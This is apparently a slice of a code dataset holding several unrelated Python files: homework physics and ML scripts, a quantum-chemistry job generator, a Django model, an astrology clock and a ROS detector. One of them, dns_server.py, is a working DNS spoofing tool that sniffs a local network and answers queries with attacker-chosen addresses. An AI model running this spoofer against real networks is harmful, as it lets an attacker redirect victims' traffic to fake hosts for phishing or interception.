prediction_atom_type_energy[atom_type]\n\n\n","sub_path":"net_field/Potential_Field_NN.py","file_name":"Potential_Field_NN.py","file_ext":"py","file_size_in_byte":9636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"123584266","text":"# -*- coding: utf-8 -*-\n\"\"\"\nProblem 2 Homework 10 ME6441\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom matplotlib import rc\nfrom scipy.integrate import odeint\n\n# Define parameters\nL = 2; # Box length [m]\nR = 1; # Semicircle radius [m]\nh = 0.04; # Box height [m]\ng = 9.81; # Gravitational acceleration [m/s^2]\n\n# Define the ODE system to solve\ndef rockingBox( odeVariables, timeVector ):\n \n # Get initial conditions from input\n phi = odeVariables[0] # Position [rad]\n phiDot = odeVariables[1] # Angular velocity [rad/s]\n \n # Return ODE array describing motion\n phiDdotNum = -g*( R*phi*np.cos(phi) - (h/2)*np.sin(phi) ) \\\n - ((R**2)*(phiDot**2)*phi);\n phiDdotDen = ( (L**2)/12 + (h**2)/3 + (R**2)*(phi**2) );\n phiDdot = phiDdotNum/phiDdotDen;\n EOM = [ phiDot, phiDdot ];\n return EOM\n \n#\n\n# Set initial conditions\ntMin = 0; # Start time [s]\ntMax = 5; # End time [s]\nphi0 = 1; # Initial angle [rad]\nphiDot0 = 0; # Initial angular velocity [rad/s]\ninitialConditions = [phi0, phiDot0];\n\n# Set time limits\ndt = 0.01; # Time Step [s]\nnPoints = np.round( (tMax - tMin)/dt );\ntVector = np.linspace( tMin, tMax, nPoints )\n\n# Get solutions\nsolution = odeint( rockingBox, \\\n initialConditions, tVector )\nphi = solution[:,0]\nphiDot = solution[:,1]\nphi_deg = 180*phi/np.pi;\n\n# Plot results\nfig = plt.figure(facecolor='white');\nax = fig.add_subplot(111);\nsolutionPlot, = plt.plot( tVector, phi_deg, 'k', \\\n label=r'$u_{0} = 0.1$' );\n \n# Set range of interest\nplt.xlim([0, 5]);\nplt.ylim([-90, 90]);\n\n# Formatting...\nplt.xlabel( 'Time [s]', fontsize=16, family='serif' )\nplt.ylabel( r'$\\phi$ [deg]', fontsize=18, family='serif' )\nrc('font', family='serif');\nyTickValues = [-90, -45, 0, 45, 90]\nplt.yticks( yTickValues, fontsize=16 );\n","sub_path":"me6441/hw10/problem2.py","file_name":"problem2.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"528502451","text":"from sklearn.neighbors import NearestCentroid\nfrom sklearn.model_selection import LeaveOneOut\nfrom statistics import mean\nimport numpy as np\nimport pandas as pd\nimport csv\n\ndataset = pd.read_csv(\"transposed_dataset.txt\", delimiter = \"\\t\", index_col = 0)\n\n#dividing into 3 equal parts\ntrain_1 = dataset.index[0:33]\ntrain_2 = dataset.index[33:66]\ntrain_3 = dataset.index[66:100]\n\ntest_1 = dataset.iloc[0:33]\ntest_2 = dataset.iloc[33:66]\ntest_3 = dataset.iloc[66:100]\n\n# these files are made by R script range_fisher_ranking.R\nranking_1 = pd.read_csv(\"ranking_1.csv\", index_col = 0)\nranking_2 = pd.read_csv(\"ranking_2.csv\", index_col = 0)\nranking_3 = pd.read_csv(\"ranking_3.csv\", index_col = 0)\n\ntraining = [train_1, train_2, train_3]\ntesting = [test_1, test_2, test_3]\nranks = [ranking_1, ranking_2, ranking_3]\n\naccuracy = []\npredictions = []\n\nfor tr, te, r in zip(training, testing, ranks):\n # remove initial X from feature names (not found in pandas dataset)\n ranking = r\n ranking.index = [f[1:] for f in ranking.index]\n ranked_features = ranking.index\n\n # remove rows defined as test set from dataset for training\n train = dataset.drop(tr)\n # outcome group\n y = train[\"Subgroup\"]\n # features only\n train = train.drop(columns = \"Subgroup\")\n # features reordered to match ranking\n train = train.reindex(columns = ranked_features)\n train = train.to_numpy()\n\n # do same reordering for test set\n test_y = te[\"Subgroup\"]\n test = te.drop(columns = \"Subgroup\")\n test = test.reindex(columns = ranked_features)\n test = test.to_numpy()\n\n classifier = NearestCentroid()\n\n # loop initialisation\n i = 0\n cnt = 0\n increment = 5\n used_features = []\n performances = []\n\n # feature selection\n for attempt in range(0, train.shape[1] +1, increment):\n cnt += 1\n i += increment # how many features to add each time\n used_features.append(i)\n X = train[:,0:i]\n loo = LeaveOneOut() # function to compute the indices which split the data so that each sample is used for testing once\n scores = []\n\n for train_index, test_index in loo.split(X): # this method gives the indices to use each sample as the test once\n X_train, X_test = X[train_index], X[test_index]\n #print(X_train)\n y_train, y_test = y[train_index], y[test_index]\n classifier.fit(X_train, y_train)\n score = classifier.score(X_test, y_test)\n scores.append(score)\n\n performance = mean(scores)\n\n if cnt >= 6:\n last_5 = performances[-5:]\n # break if the performance has not improved in the last 5 iterations\n if min(last_5) >= performance:\n break\n performances.append(performance)\n\n # find model with best performance and extract the features used\n f_cnt = performances.index(max(performances))\n best_features = used_features[f_cnt]\n\n best_train = train[:,0:best_features]\n best_test = test[:,0:best_features]\n\n # train classifier on optimal number of features\n final_clf = classifier.fit(best_train, y)\n # final prediction\n final_predict = classifier.predict(best_test)\n final_acc = classifier.score(best_test, test_y)\n accuracy.append(final_acc)\n predictions.append(final_predict)\n\nprint(len(predictions))\nprint(type(predictions))\n# save outputs\nwith open(\"predictions.csv\", 'w') as f:\n wr = csv.writer(f)\n wr.writerows(predictions)\n\nnp.savetxt(\"accuracies.csv\", accuracy, fmt = \"%s\", delimiter = \",\")\n","sub_path":"kfold_centroid.py","file_name":"kfold_centroid.py","file_ext":"py","file_size_in_byte":3544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"2895391","text":"import linecache\nimport re\n\nimport sys\nimport os\nimport numpy as np\n\n\ndef make_orca(pdbfile, mol_name, charge, multiplicity):\n f1 = open('%s.inp' %(mol_name),'w')\n l1=\"! UHF 6-31G(d) TightSCF TightOpt KeepDens\"\n l2=\"%MaxCore 4000\"\n l3='%id' + \"\\\"%s\\\"\" %(mol_name)\n l4=\"%geom Constraints\"\n f1.write('{}\\n{}\\n{}\\n{}\\n'.format(l1,l2,l3,l4))\n k1 = open(\"../orca_index\", 'r').readlines()\n for line in k1:\n f1.write(line)\n l5=\" end\"\n l6=\" end\"\n l7=\" \"\n l8=\"* xyz %s %s\" %(charge, multiplicity)\n f1.write('{}\\n{}\\n{}\\n{}\\n'.format(l5,l6,l7,l8))\n f2 = open(pdbfile,'r').readlines()\n for line in f2:\n if re.match('TER',line):\n break\n else:\n xyz=line.split()[5:8]\n xyz=' '.join(xyz)\n atom_name=line.split()[2][0]\n atom_name=''.join(atom_name)\n f1.write(atom_name+' '+xyz+'\\n')\n f1.write(\"*\\n\")\n\ndef create_orcarun(mol_name):\n orcarun_template='''#!/bin/bash\n\norca=/cavern/kbelfon/orca_4.0.1.2/orca \n#orca=/u/sciteam/belfon/orca/orca\n\nqsub << EOF\n#$ -N {mol_name}\n#$ -S /bin/bash\n#$ -cwd\n#$ -j y\n#$ -q cpu_short\n#$ -P carlosprj\n\n\n#this command run orca\n$orca {mol_name}.inp > {mol_name}.log\n\nexit 0\nEOF\n'''\n molecule={\n \"mol_name\":mol_name\n }\n with open(\"run_orca.sh\", \"w\") as f:\n f.write(orcarun_template.format(**molecule))\n f.close()\n\n\n\n\n\n# path to where your MM structures are stored\n#path=\"/u/sciteam/belfon/nma/omega\"\npath=\"/cavern/kbelfon/CNX\"\nname=\"CNX\"\n\nbackbone = ['opt', 'alpha']\n#bb = 'alpha'\n#olist = np.arange(1, 501, 1)\nolist = np.arange(1, 100, 1)\n#tlist = np.arange(10, 171, 10)\n\nfor bb in backbone:\n for om in olist:\n string=\"frame.pdb.%d\" %(om)\n print (string)\n os.system(\"mkdir %s_struct%d\" %(bb,om))\n os.chdir(\"./%s_struct%d\" %(bb,om))\n #os.system(\"cp ../500_%s1/%s ./\" %(bb,string))\n os.system(\"cp ../%s/struct.relax.pdb.%s ./\" %(bb,om))\n make_orca(\"struct.relax.pdb.%s\" %(om), \"struct%s\"%(om), 0, 2)\n create_orcarun(\"struct%s\"%(om))\n os.system(\"bash run_orca.sh\")\n #os.system(\"/cavern/kbelfon/orca_4.0.1.2/orca %s.inp > %s.log\" %(struct,struct))\n os.chdir(\"../\")\n\n\n#begin = int(sys.argv[1])\n#end = int(sys.argv[2])\n","sub_path":"scripts/for_ORCA_QM/make_orca.py","file_name":"make_orca.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"341652607","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models\n\n# Create your models here.\nclass Project(models.Model):\n\tname = models.CharField(\n\t\tmax_length = 50,\n\t\tunique = True,\n\t\tblank = False,\n\t\tnull = False\n\t)\n\tstart = models.DateTimeField(\n\t\tblank = False,\n\t\tnull = False\n\t)\n\tend = models.DateTimeField(\n\t\tblank = False,\n\t\tnull = False\n\t)\nclass WorkItem(models.Model):\n\tproject = models.ForeignKey(\n\t\tProject,\n\t\ton_delete=models.PROTECT,\n\t\tblank = False,\n\t\tnull = False\n\t)\n\tname = models.CharField(\n\t\tmax_length = 50,\n\t\tunique = True,\n\t\tblank = False,\n\t\tnull = False\n\t)\n\tdescription = models.TextField(\n\t\tblank = False,\n\t\tnull = False\n\t)\n\tprogress = models.PositiveSmallIntegerField(\n\t\tmodels.MaxValueValidator(100),\n\t\tdefault = 0,\n\t)\n\tstart = models.DateTimeField(\n\t\tblank = False,\n\t\tnull = False\n\t)\n\tend = models.DateTimeField(\n\t\tblank = False,\n\t\tnull = False\n\t)\n\t# Hours\n\ttime = models.PositiveIntegerField(\n\t\tdefault = 1,\n\t)\n\tchildren = models.ManyToManyField(\n\t\tWorkItem,\n\t\ton_delete=models.PROTECT\n\t)\n\tparents = models.ManyToManyField(\n\t\tWorkItem,\n\t\ton_delete=models.PROTECT\n\t)\n\tdef getAllParents(self):\n\t\tif self.parents.count() > 0:\n\t\t\tparents = self.parents.all()\n\t\t\tresult = parents\n\t\t\tfor parent in parents:\n\t\t\t\tresult |= parent.getAllParents()\n\t\t\treturn result.distinct()\n\t\treturn self.parents.none()\n\tdef getAllChildren(self):\n\t\tif self.children.count() > 0:\n\t\t\tchildren = self.children.all()\n\t\t\tresult = children\n\t\t\tfor child in children:\n\t\t\t\tresult |= child.getAllChildren()\n\t\t\treturn result.distinct()\n\t\treturn self.children.empty()\n","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"2867996","text":"#!/usr/bin/env python\n\n# region Import\nfrom sys import path\nfrom os.path import dirname, abspath\nproject_root_path = dirname(dirname(dirname(abspath(__file__))))\nutils_path = project_root_path + \"/Utils/\"\npath.append(utils_path)\n\nfrom base import Base\nfrom network import Sniff_raw, DNS_raw\nfrom ipaddress import IPv4Address\nfrom argparse import ArgumentParser\nfrom socket import socket, AF_PACKET, SOCK_RAW, getaddrinfo, AF_INET, AF_INET6, gaierror, htons\n# endregion\n\n# region Check user and platform\nBase = Base()\nBase.check_user()\nBase.check_platform()\n# endregion\n\n# region Parse script arguments\nparser = ArgumentParser(description='DNS server')\n\nparser.add_argument('-i', '--interface', help='Set interface name for send DNS reply packets', default=None)\nparser.add_argument('-p', '--port', type=int,\n help='Set UDP port for listen DNS request packets (default: 53)', default=53)\n\nparser.add_argument('-t', '--target_mac', help='Set target MAC address', default=None)\nparser.add_argument('--T4', help='Set target IPv4 address', default=None)\nparser.add_argument('--T6', help='Set target IPv6 address', default=None)\n\nparser.add_argument('--fake_domains', help='Set fake domain or domains, example: --fake_domains \"apple.com,google.com\"',\n default=None)\nparser.add_argument('--fake_ip', help='Set fake IP address or addresses, example: --fake_ip \"192.168.0.1,192.168.0.2\"',\n default=None)\nparser.add_argument('--fake_ipv6', help='Set fake IPv6 address or addresses, example: --fake_ipv6 \"fd00::1,fd00::2\"',\n default=None)\n\nparser.add_argument('--ipv6', action='store_true', help='Enable IPv6')\nparser.add_argument('--disable_ipv4', action='store_true', help='Disable IPv4')\nparser.add_argument('-f', '--fake_answer', action='store_true', help='Set your IPv4 or IPv6 address in all answers')\nparser.add_argument('-q', '--quiet', action='store_true', help='Minimal output')\n\nargs = parser.parse_args()\n# endregion\n\n# region Print banner if argument quit is not set\nif not args.quiet:\n Base.print_banner()\n# endregion\n\n# region Set global variables\n\ndns = DNS_raw()\n\ndestination_port = 0\n\ntarget_ip_address = None\ntarget_ipv6_address = None\n\nfake_domains = []\nfake_ip_addresses = []\nfake_ipv6_addresses = []\nfake_addresses = {}\n\nA_DNS_QUERY = 1\nAAAA_DNS_QUERY = 28\n\nif args.ipv6:\n if args.disable_ipv4:\n DNS_QUERY_TYPES = [28]\n else:\n DNS_QUERY_TYPES = [1, 28]\nelse:\n DNS_QUERY_TYPES = [1]\n\n# endregion\n\n# region Get your network settings\nif args.interface is None:\n Base.print_warning(\"Please set a network interface for sniffing DNS queries ...\")\ncurrent_network_interface = Base.netiface_selection(args.interface)\n\nyour_mac_address = Base.get_netiface_mac_address(current_network_interface)\nif your_mac_address is None:\n Base.print_error(\"Network interface: \", current_network_interface, \" do not have MAC address!\")\n exit(1)\n\nyour_ip_address = Base.get_netiface_ip_address(current_network_interface)\nif your_ip_address is None:\n Base.print_error(\"Network interface: \", current_network_interface, \" do not have IP address!\")\n exit(1)\n\nif args.ipv6:\n your_ipv6_addresses = Base.get_netiface_ipv6_link_address(current_network_interface)\n if len(your_ipv6_addresses) == 0:\n if not args.quiet:\n Base.print_warning(\"Network interface: \", current_network_interface, \" do not have IPv6 local address!\")\n fake_addresses[28] = None\n else:\n fake_addresses[28] = [your_ipv6_addresses]\nelse:\n fake_addresses[28] = None\n\nif not args.disable_ipv4:\n fake_addresses[1] = [your_ip_address]\n# endregion\n\n# region Create fake domains list\nif args.fake_domains is not None:\n\n # Delete spaces\n fake_domains_string = args.fake_domains.replace(\" \", \"\")\n\n # Create list\n for domain_name in fake_domains_string.split(\",\"):\n fake_domains.append(domain_name)\n# endregion\n\n# region Create fake ipv4 addresses list\nif args.fake_ip is not None:\n\n # Delete spaces\n fake_ip_string = args.fake_ip.replace(\" \", \"\")\n\n # Create list\n for ip_address in fake_ip_string.split(\",\"):\n if Base.ip_address_validation(ip_address):\n fake_ip_addresses.append(ip_address)\n else:\n Base.print_error(\"Illegal IPv4 address: \", ip_address)\n exit(1)\n\n # Set fake IPv4 addresses dictionary\n fake_addresses[1] = fake_ip_addresses\n\n# endregion\n\n# region Create fake ipv6 addresses list\nif args.fake_ipv6 is not None:\n\n # Delete spaces\n fake_ipv6_string = args.fake_ipv6.replace(\" \", \"\")\n\n # Create list\n for ipv6_address in fake_ipv6_string.split(\",\"):\n if Base.ipv6_address_validation(ipv6_address):\n fake_ipv6_addresses.append(ipv6_address)\n else:\n Base.print_error(\"Illegal IPv6 address: \", ipv6_address)\n exit(1)\n\n # Set fake IPv6 addresses dictionary\n fake_addresses[28] = fake_ipv6_addresses\n\n # Rewrite available DNS query types\n if args.disable_ipv4:\n DNS_QUERY_TYPES = [28]\n else:\n DNS_QUERY_TYPES = [1, 28]\n\n# endregion\n\n# region Create raw socket\nSOCK = socket(AF_PACKET, SOCK_RAW)\nSOCK.bind((current_network_interface, 0))\n# endregion\n\n# region Get first and last IP address in your network\nfirst_ip_address = str(IPv4Address(unicode(Base.get_netiface_first_ip(current_network_interface))) - 1)\nlast_ip_address = str(IPv4Address(unicode(Base.get_netiface_last_ip(current_network_interface))) + 1)\n# endregion\n\n# region Check UDP destination port\nif 0 < args.port < 65535:\n destination_port = args.port\nelse:\n Base.print_error(\"Bad value `-p, --port`: \", str(args.port),\n \"; listen UDP port must be in range: \", \"1 - 65534\")\n exit(1)\n# endregion\n\n# region Check target IPv4\nif args.T4 is not None:\n if not Base.ip_address_in_range(args.T4, first_ip_address, last_ip_address):\n Base.print_error(\"Bad value `--T4`: \", args.T4,\n \"; target IPv4 address must be in range: \", first_ip_address + \" - \" + last_ip_address)\n exit(1)\n else:\n target_ip_address = args.T4\n# endregion\n\n# region Check target IPv6\nif args.T6 is not None:\n if not Base.ipv6_address_validation(args.T6):\n Base.print_error(\"Bad IPv6 address in parameter `--T6`: \", args.T6)\n exit(1)\n else:\n target_ipv6_address = args.T6\n# endregion\n\n# region Get first IPv4 or IPv6 address of domain\ndef get_domain_address(query_name, query_type=1):\n\n # Set proto\n if query_type == 28:\n proto = AF_INET6\n else:\n proto = AF_INET\n\n try:\n # Get list of addresses\n addresses = getaddrinfo(query_name, None, proto)\n\n # Return first address from list\n return [addresses[0][4][0]]\n\n except gaierror:\n\n # Could not resolve name\n return None\n\n# endregion\n\n\n# region DNS reply function\ndef reply(request):\n\n # region Define global variables\n global SOCK\n global dns\n global args\n global fake_domains\n global fake_addresses\n global DNS_QUERY_TYPES\n # endregion\n\n # region This request is DNS query\n if 'DNS' in request.keys():\n\n for request_query in request['DNS']['queries']:\n\n # region Get DNS query type\n query_type = request_query['type']\n # endregion\n\n # region Type of DNS query type: A or AAAA\n if query_type in DNS_QUERY_TYPES:\n\n try:\n\n # region Local variables\n query_class = request_query['class']\n answer = []\n addresses = None\n # endregion\n\n # region Create query list\n if request_query['name'].endswith(\".\"):\n query_name = request_query['name'][:-1]\n else:\n query_name = request_query['name']\n\n query = [{\n \"type\": query_type,\n \"class\": query_class,\n \"name\": query_name\n }]\n # endregion\n\n # region Script arguments condition check\n\n # region Argument fake_answer is set\n if args.fake_answer:\n addresses = fake_addresses[query_type]\n # endregion\n\n # region Argument fake_answer is NOT set\n else:\n\n # region Fake domains list is set\n if len(fake_domains) > 0:\n\n # region Fake domains list is set and DNS query name in fake domains list\n if query_name in fake_domains:\n\n # region A DNS query\n if query_type == 1:\n\n # Fake IPv4 is set\n if args.fake_ip is not None:\n addresses = fake_addresses[query_type]\n\n # Fake IPv4 is NOT set\n else:\n addresses = get_domain_address(query_name, query_type)\n\n # endregion\n\n # region AAAA DNS query\n if query_type == 28:\n\n # Fake IPv6 is set\n if args.fake_ipv6 is not None:\n addresses = fake_addresses[query_type]\n\n # Fake IPv6 is NOT set\n else:\n addresses = get_domain_address(query_name, query_type)\n\n # endregion\n\n # endregion\n\n # region Fake domains list is set and DNS query name NOT in fake domains list\n else:\n addresses = get_domain_address(query_name, query_type)\n # endregion\n\n # endregion\n\n # region Fake domains list is NOT set\n else:\n\n # region A DNS query\n if query_type == 1:\n\n # Fake IPv4 is set\n if args.fake_ip is not None:\n addresses = fake_addresses[query_type]\n\n # Fake IPv4 is NOT set\n else:\n addresses = get_domain_address(query_name, query_type)\n\n # endregion\n\n # region AAAA DNS query\n if query_type == 28:\n\n # Fake IPv6 is set\n if args.fake_ipv6 is not None:\n addresses = fake_addresses[query_type]\n\n # Fake IPv6 is NOT set\n else:\n addresses = get_domain_address(query_name, query_type)\n\n # endregion\n\n # endregion\n\n # endregion\n\n # endregion\n\n # region Answer addresses is set\n\n if addresses is not None:\n\n # region Create answer list\n for address in addresses:\n answer.append({\"name\": query_name,\n \"type\": query_type,\n \"class\": query_class,\n \"ttl\": 0xffff,\n \"address\": address})\n # endregion\n\n # region Make dns answer packet\n if 'IP' in request.keys():\n dns_answer_packet = dns.make_response_packet(src_mac=request['Ethernet']['destination'],\n dst_mac=request['Ethernet']['source'],\n src_ip=request['IP']['destination-ip'],\n dst_ip=request['IP']['source-ip'],\n src_port=53,\n dst_port=request['UDP']['source-port'],\n tid=request['DNS']['transaction-id'],\n flags=0x8580,\n queries=query,\n answers_address=answer)\n elif 'IPv6' in request.keys():\n dns_answer_packet = dns.make_response_packet(src_mac=request['Ethernet']['destination'],\n dst_mac=request['Ethernet']['source'],\n src_ip=request['IPv6']['destination-ip'],\n dst_ip=request['IPv6']['source-ip'],\n src_port=53,\n dst_port=request['UDP']['source-port'],\n tid=request['DNS']['transaction-id'],\n flags=0x8580,\n queries=query,\n answers_address=answer)\n else:\n dns_answer_packet = None\n # endregion\n\n # region Send DNS answer packet\n if dns_answer_packet is not None:\n SOCK.send(dns_answer_packet)\n # endregion\n\n # region Print info message\n if 'IP' in request.keys():\n if query_type == 1:\n Base.print_info(\"DNS query from: \", request['IP']['source-ip'],\n \" to \", request['IP']['destination-ip'], \" type: \", \"A\",\n \" domain: \", query_name, \" answer: \", (\", \".join(addresses)))\n if query_type == 28:\n Base.print_info(\"DNS query from: \", request['IP']['source-ip'],\n \" to \", request['IP']['destination-ip'], \" type: \", \"AAAA\",\n \" domain: \", query_name, \" answer: \", (\", \".join(addresses)))\n\n if 'IPv6' in request.keys():\n if query_type == 1:\n Base.print_info(\"DNS query from: \", request['IPv6']['source-ip'],\n \" to \", request['IPv6']['destination-ip'], \" type: \", \"A\",\n \" domain: \", query_name, \" answer: \", (\", \".join(addresses)))\n if query_type == 28:\n Base.print_info(\"DNS query from: \", request['IPv6']['source-ip'],\n \" to \", request['IPv6']['destination-ip'], \" type: \", \"AAAA\",\n \" domain: \", query_name, \" answer: \", (\", \".join(addresses)))\n # endregion\n\n # endregion\n\n except:\n pass\n # endregion\n\n # endregion\n\n# endregion\n\n\n# region Main function\nif __name__ == \"__main__\":\n\n # region Script arguments condition check and print info message\n if not args.quiet:\n\n # region Argument fake_answer is set\n if args.fake_answer:\n if not args.disable_ipv4:\n Base.print_info(\"DNS answer fake IPv4 address: \", (\", \".join(fake_addresses[1])), \" for all DNS queries\")\n\n if fake_addresses[28] is not None:\n Base.print_info(\"DNS answer fake IPv6 address: \", (\", \".join(fake_addresses[28])), \" for all DNS queries\")\n\n # endregion\n\n # region Argument fake_answer is NOT set\n else:\n\n # region Fake domains list is set\n if len(fake_domains) > 0:\n\n if args.fake_ip is not None:\n Base.print_info(\"DNS answer fake IPv4 address: \", (\", \".join(fake_addresses[1])),\n \" for domain: \", (\", \".join(fake_domains)))\n\n if args.fake_ipv6 is not None:\n Base.print_info(\"DNS answer fake IPv6 address: \", (\", \".join(fake_addresses[28])),\n \" for domain: \", (\", \".join(fake_domains)))\n\n # endregion\n\n # region Fake domains list is NOT set\n else:\n\n if args.fake_ip is not None:\n Base.print_info(\"DNS answer fake IPv4 address: \", (\", \".join(fake_addresses[1])),\n \" for all DNS queries\")\n\n if args.fake_ipv6 is not None:\n Base.print_info(\"DNS answer fake IPv6 address: \", (\", \".join(fake_addresses[28])),\n \" for all DNS queries\")\n\n # endregion\n\n # endregion\n\n # endregion\n\n # region Sniff network\n\n # region Print info message\n if not args.quiet:\n Base.print_info(\"Waiting for a DNS requests ...\")\n # endregion\n\n # region Set network filter\n network_filters = {}\n\n if args.target_mac is not None:\n network_filters['Ethernet'] = {'source': args.target_mac}\n else:\n network_filters['Ethernet'] = {'not-source': your_mac_address}\n\n if target_ip_address is not None:\n network_filters['IP'] = {'source-ip': target_ip_address}\n\n if target_ipv6_address is not None:\n network_filters['IPv6'] = {'source-ip': target_ipv6_address}\n\n network_filters['IP'] = {'not-source-ip': '127.0.0.1'}\n network_filters['UDP'] = {'destination-port': destination_port}\n # endregion\n\n # region Start sniffer\n sniff = Sniff_raw()\n\n if args.ipv6:\n if args.disable_ipv4:\n sniff.start(protocols=['IPv6', 'UDP', 'DNS'], prn=reply, filters=network_filters)\n else:\n sniff.start(protocols=['IP', 'IPv6', 'UDP', 'DNS'], prn=reply, filters=network_filters)\n else:\n sniff.start(protocols=['IP', 'UDP', 'DNS'], prn=reply, filters=network_filters)\n # endregion\n\n # endregion\n\n# endregion\n","sub_path":"Scripts/DNS/dns_server.py","file_name":"dns_server.py","file_ext":"py","file_size_in_byte":19295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"488072327","text":"#!/usr/bin/env python3\n\nimport time\nimport datetime\nfrom pytz import timezone\n\n\nprint (\"\\nThis PyJyothiShastram is based on India Time:\\n\")\n# Current time to UTC\nnow_utc = datetime.datetime.now(timezone('UTC'))\n# System Time\nnow = datetime.datetime.now()\n# Indian Time\nnow_india = now.astimezone(timezone('Asia/Kolkata'))\n\n\n\n\nprint (\"\\tUTC Time :\", now_utc.strftime(\"%Y-%m-%d %H:%M:%S %Z%z\"))\nprint (\"\\tSystem Time:\", now.strftime(\"%Y-%m-%d %H:%M:%S %Z%z\"))\nprint (\"\\tIndia Time :\", now_india.strftime(\"%Y-%m-%d %H:%M:%S %Z%z\"))\n\n\nnoWeek = int(now_india.strftime(\"%w\"))\n\ndWeek = now_india.strftime(\"%A\")\n\n\nprint (\"\\nToday's date: \", now_india.strftime('%d-%m-%Y'))\nprint(\"\\n\\tToday is {}\".format(dWeek))\nprint(\"\\n\\tAnd current Time in India is {}\".format(now_india))\n\ncTime = int(now_india.strftime(\"%H\"))*100 + int(now_india.strftime(\"%M\"))\n\n\ntimeWindow = [[\"Sunday\", 1630,1800, 1500, 1630, 1200, 1330],\n [\"Monday\", 730, 930, 1330, 1500, 1030, 1200 ],\n [\"Tuesday\", 1500, 1630, 1200, 1330, 900, 1030],\n [\"Wednesday\", 1200, 1330, 1030, 1200, 730, 900],\n [\"Thursday\", 1330, 1500, 900, 1030, 600,730],\n [\"Friday\", 1030, 1200, 730,900, 1500,1630],\n [\"Saturday\", 900,1030, 600, 730, 1330,1500]]\n\nrahuStart = timeWindow[noWeek][1]\nrahuEnd = timeWindow[noWeek][2]\ngulikaStart = timeWindow[noWeek][3]\ngulikaEnd = timeWindow[noWeek][4]\nyamaStart = timeWindow[noWeek][5]\nyamaEnd = timeWindow[noWeek][6]\n\n\ndef timeCheck(name,startTime,endTime):\n print(\"\\n\\tChecking weather the current time is in {} kaalam\".format(name))\n if (startTime < cTime) and (cTime < endTime):\n print(\"The current time is in {} kaalam time window\".format(name) )\n else:\n print(\"\\n\\t\\tNo observation\")\n\n\ntimeCheck(\"Raahu\", rahuStart, rahuEnd)\ntimeCheck(\"Gulika\", gulikaStart, gulikaEnd)\ntimeCheck(\"Yamakanda\", gulikaStart, gulikaEnd)\n","sub_path":"TimeNow.py","file_name":"TimeNow.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"334527584","text":"#!/usr/bin/env python3\n\nimport cv2\nimport rospy\nfrom detection import Detector\nimport sys\nimport numpy as np\nimport math\n\nfrom sensor_msgs.msg import CompressedImage\nfrom nav_msgs.msg import Odometry\nfrom std_msgs.msg import Duration\n\n\nclass WeathercockDetectorNode:\n \"\"\"\n This node check the orientation of the weathercock using the camera\n The orientation is checked only when the robot is located inside an ROE\n The result is outputted as a ROS param on isWeathercockSouth\n \"\"\"\n def __init__(self):\n cv2.setNumThreads(4)\n self.weathercock_id = 17\n roe = rospy.get_param(\"~roe\", {'min': {\"x\":-4,\"y\":-4,\"t\":-3.14}, 'max': {\"x\":4,\"y\":4,\"t\":6.292}})\n self.weathercock_stabilisation_time = rospy.get_param(\"~weathercock_stabilisation_time\", 30)\n self.roe_min = [roe[\"min\"][\"x\"], roe[\"min\"][\"x\"], roe[\"min\"][\"t\"]]\n self.roe_max = [roe[\"max\"][\"x\"], roe[\"max\"][\"y\"], roe[\"max\"][\"t\"]]\n self.d = Detector.Detector()\n rospy.set_param('isWeathercockSouth', False)\n self.is_set = False\n # subscribed Topic\n self.img_topic = \"camera/image_raw/compressed\"\n self.remaining_time_topic = \"/remaining_time\"\n self.pose_subscriber = rospy.Subscriber(\"odom\", Odometry, callback=self.callback, queue_size=1)\n\n def detect_weathercock_orientation(self, img):\n corners, ids = self.d.detect(img)\n if ids is not None:\n for aruco_id, corner in zip(ids, corners):\n if aruco_id[0] == self.weathercock_id:\n is_south = corner[0, 0, 1] > corner[0, 3, 1]\n self.is_set = True\n rospy.set_param('isWeathercockSouth', bool(is_south))\n rospy.loginfo(f\"weathercock detected {'South' if is_south else 'North'}\")\n rospy.signal_shutdown(\"Process done\")\n break\n\n def is_in_roe(self, pose_msg):\n q = pose_msg.orientation\n yaw = math.atan2(2.0 * (q.y * q.z + q.w * q.x), q.w * q.w - q.x * q.x - q.y * q.y + q.z * q.z)\n ego = [pose_msg.position.x, pose_msg.position.x, yaw]\n for i in range(0, 3):\n if not (self.roe_min[i] <= ego[i] <= self.roe_max[i]):\n return False\n return True\n\n def is_time_to_check(self):\n remaining_time_msg = rospy.wait_for_message(self.remaining_time_topic, Duration)\n return remaining_time_msg.data.to_sec() < 100 - self.weathercock_stabilisation_time\n\n def callback(self, ros_data):\n if not self.is_set and self.is_in_roe(ros_data.pose.pose) and self.is_time_to_check():\n img_msg = rospy.wait_for_message(self.img_topic, CompressedImage)\n np_arr = np.fromstring(img_msg.data, np.uint8)\n image_np = cv2.imdecode(np_arr, cv2.IMREAD_COLOR)\n self.detect_weathercock_orientation(image_np)\n\n\ndef main(args):\n \"\"\" Initializes and cleanup ros node \"\"\"\n rospy.init_node('aruco_pose_detector', anonymous=True)\n WeathercockDetectorNode()\n try:\n rospy.spin()\n except KeyboardInterrupt:\n print(\"Shutting down ROS Image feature detector module\")\n cv2.destroyAllWindows()\n\n\nif __name__ == '__main__':\n main(sys.argv)\n","sub_path":"src/weathercock_detector.py","file_name":"weathercock_detector.py","file_ext":"py","file_size_in_byte":3219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"265041935","text":"import typing\nfrom typing import Any, Optional, Text, Dict, List, Type\nimport numpy as np\n\nfrom rasa.nlu.components import Component\nfrom rasa.nlu.config import RasaNLUModelConfig\nfrom rasa.nlu.training_data import Message, TrainingData\nfrom rasa.nlu.tokenizers.tokenizer 